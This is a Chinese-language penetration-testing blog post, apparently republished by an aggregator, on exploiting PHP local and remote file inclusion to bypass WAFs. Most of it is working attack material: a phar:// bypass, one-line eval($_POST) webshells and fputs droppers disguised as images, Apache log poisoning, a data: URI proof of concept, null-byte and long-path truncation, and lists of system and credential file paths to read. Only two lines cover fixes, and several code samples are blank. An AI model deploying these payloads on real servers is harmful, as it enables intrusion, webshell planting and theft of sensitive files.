php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog
誰將煙焚散,散了縱橫的牽絆
文件包含漏洞是滲透測試過程中用得比較多的一個漏洞,主要用來繞過waf上傳木馬文件。今日在逛Tools論壇時,發現了一種新型的文件包含姿勢,在此記錄分享,并附上一些文件包含漏洞的基礎利用姿勢。
特殊姿勢
利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 數據流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。
利用過程
新建shell.php代碼內容:1
2
3<?php
include 'phar://test.rar/test.txt';
?>
新建test.txt里的內容:1
2
3<?php
phpinfo();
?>
壓縮test.txt文件,可以重命名壓縮文件為zip,phar,rar等格式,之后訪問shell.php文件后,會出現phpinfo內容。
親測有效
在實驗環境下,在test目錄下新建shell.php,test.txt,并將test.txt打包成test.zip。
shell.php內容如下:
test.txt內容如下:
訪問shell.php:
php文件包含漏洞
PHP中的文件包含分為本地包含與遠程包含,導致文件包含的函數如下:
include()
include_once()
require()
require_once()
fopen()
readfile()
……
本地包含漏洞(LFI)
新建一個phpinfo.txt,然后新建一個shell.php,寫入:1
2
3<?php
Include('phpinfo.txt');
?>
訪問shell.php會輸出phpinfo頁面內容,無論將擴展名改為什么,都將以php代碼執行。如果文件不是符合php規則的(即沒有寫<?php ?>等),則通過include可以直接輸出源碼。
遠程包含漏洞
前提:需要開啟allow_url_fopen,默認關閉。
新建php.txt:1
2
3<?php
echo 'hello world';
?>
新建index.php:1
2
3<?php
Include($_GET['page']);
?>
文件包含利用
讀取敏感信息1
2
3
4
5c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
LINUX:1
2
3
4
5/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相關設置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件
遠程包含shell
test.txt文件,可以保存在遠程服務器上,內容如下:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[nmask]);?>')?>
1<?php eval($_POST[nmask]);?>
本地包含配合文件上傳
如果目標服務器關閉了allow_url_fopen,則可以嘗試使用本地包含 文件上傳
上傳一個圖片木馬a.jpg,內容為:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>
本地包含配合apache日志拿shell
apache日志分為access.log與error.log,當我們請求一個url地址時,便會記錄在access.log中,但如果訪問一個不存在的頁面,便會將這個頁面寫入access.log中。如訪問URL:http://www.xxx.com/<?php eval([$_POST]);?>則會將一句話寫入到access.log中,但是一般來說,寫入到access.log文件中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。
利用/proc/self/environ進行包含
利用php協議進行包含data: php5.2以后版本
php://input 需要開啟allow_url_include
poc:1http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
截斷包含
有些開發者為了防止本地包含漏洞,會編寫一下代碼:1
2
3<?php
Include $_GET['page'].'.php'
?>
(一)00截斷包含
新建1.jpg:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>
這樣的話比如上傳一個1.jpg圖片碼,則訪問
(二)使用長目錄截斷1
2
3
4
5././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
在windows下目錄最大長度為256字節,linux下為4096字節,其后面超出部分被丟棄。
文件包含漏洞修復
開啟open_basedir函數,將其設置為指定目錄,則只有該目錄的文件允許被訪問。
關閉allow_url_include函數,防止遠程文件包含。
jsp文件包含漏洞
include1
2
3
jsp:include1
2
3
說明
(1)include指令在轉換時插入“Header.jsp”的源代碼,而標準動作在運行時插入“Header.jsp”的響應。元素允許你包含動態文件和靜態,而include說明標簽僅僅是把一個文件內容當成靜態追加到主文件中去。
(2)采用前兩種方式,只能包含當前web應用的界面,不過c:import可以包含容器之外的內容。
asp文件包含漏洞
asp貌似無法包含遠程文件(iis安全設置),只能包含本地文件,語法如下:1
aspx文件包含漏洞
aspx文件包含與asp一樣,語法如下:1
傳送門
總結
以上是生活随笔為你收集整理的php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php查询字段的总和,ThinkPHP
- 下一篇: 动态规划算法php,php算法学习之动态